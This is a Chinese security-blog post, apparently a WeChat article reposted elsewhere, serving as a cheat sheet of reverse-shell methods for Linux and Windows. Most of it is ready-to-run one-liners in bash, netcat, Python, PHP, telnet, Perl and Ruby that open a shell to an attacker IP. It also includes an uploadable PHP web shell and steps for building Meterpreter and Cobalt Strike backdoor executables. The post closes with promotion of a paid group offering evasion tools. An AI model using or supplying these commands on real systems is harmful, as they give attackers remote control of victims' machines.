干货 | Shell反弹姿势(Linux+Windows)
2023-5-15 22:0:3 Author: 渗透安全团队(查看原文) 阅读量:23 收藏

由于微信公众号推送机制改变了,快来星标不再迷路,谢谢大家!

  • 常用shell反弹命令和方法(linux)

    • 环境准备:

    • 一、bash反弹:

    • 二、netcat反弹

    • 三、python反弹(pytho2,3都可以实现)

    • 四、利用msf生成反弹命令

    • 五、使用php反弹

    • 六、使用telnet反弹

    • 七、perl反弹

    • 八、ruby反弹

  • 常用shell反弹命令和方法(windows)

    • 环境准备:

    • 一、msf反弹

    • 二、cs反弹

    • 三、NC反弹

环境准备:

攻击机:192.168.88.146 kali目标:IP随机;Ubuntu没有说明特殊情况的,命令都是在目标机器执行,攻击机使用nc进行监听

一、bash反弹:

攻击机使用nc对本地端口进行监听:nc -lvvp [port]

在目标机上运行:bash -i >& /dev/tcp/192.168.88.146/4444 0>&1这个shell由bash或者sh解析,有时候会出现错误。

[!!当权限不够的时候,可能就会出现这个情况,导致反弹失败]

二、netcat反弹

nc -e /bin/bash 192.168.88.146 4444 #不同的版本可能不能使用-e 参数,比如我用于实验的Ubuntu,所以这个演示在kali上进行。

对于不能使用-e参数的,可以使用其他方法:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.88.146 4444 >/tmp/f

三、python反弹(pytho2,3都可以实现)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.88.146",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

四、利用msf生成反弹命令

使用命令查看可以用的payload msfvenom -l payloads 'cmd/unix/reverse'、生成一个反弹命令:msfvenom -p cmd/unix/reverse_xxxx lhost=192.168.88.146 lport=4444 R

五、使用php反弹

当可以在终端直接调用php的时候:php -r '$sock=fsockopen("192.168.88.146",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

也可以直接上传一个php的反弹文件,然后进行访问,也可以得到shell。

<?php set_time_limit(0); $ip=$_POST['ip'];$port=$_POST['port'];[email protected]($ip,$port,$errno,$errstr);if(!$fp){echo "error";}else{    fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");    while(!feof($fp)){    fputs($fp,"shell:");    $shell=fgets($fp);    $message=`$shell`;    fputs($fp,$message);    }fclose($fp);}?>

对文件进行上传访问,以post的方式传参ip和port,就可以将服务器shell反弹到攻击机。

六、使用telnet反弹

mknod a p; telnet 192.168.88.146 4444 0<a | /bin/bash 1>a
还有一种反弹方式,这个需要开启两个监听端口,一个实现使用命令,一个实现接受信息。telnet 192.168.88.146 6666 | /bin/bash | telnet 192.168.88.146 4444

七、perl反弹

perl -e 'use Socket;$i="192.168.88.146";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

八、ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.88.146",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
说明:在windows的反弹中,一些写在linux中的关于利用语言做个反弹也都可以实现。

环境准备:

攻击机:192.168.88.146 kali;192.168.88.1 Microsoft Windows 10 家庭中文版目标:IP随机;Microsoft Windows 10 企业版 LTSC

一、msf反弹

可以直接利用已知的漏洞免写入磁盘执行反弹,可以打包成Exe文件或者其他windows可执行的文件进行反弹。msf命令:msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.88.146 lport=6666 -f exe -o shell.exe在msf中进行监听:设置好ip,端口,payload

在windows环境中运行生成的payload攻击机获取到反弹的shell

二、cs反弹

使用CS生成一个exe后门文件,也可以生成其他windows可执行的文件或者powershell指令。

选择监听器和输出类型:

生成一个payload,保存。

将文件在windows上运行。cs拿到shell

三、NC反弹

攻击机开启监听:nc -lvvp 6666目标机执行命令:nc -t -e cmd.exe 192.168.88.146 6666


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247504754&idx=2&sn=9b1a61b7a7ca913f5d8e8e4e09a61657&chksm=c1762eddf601a7cbb33a30258ed5105d05b9d9d1d22e43616cfe286e8692b60355e343201434#rd
如有侵权请联系:admin#unsafe.sh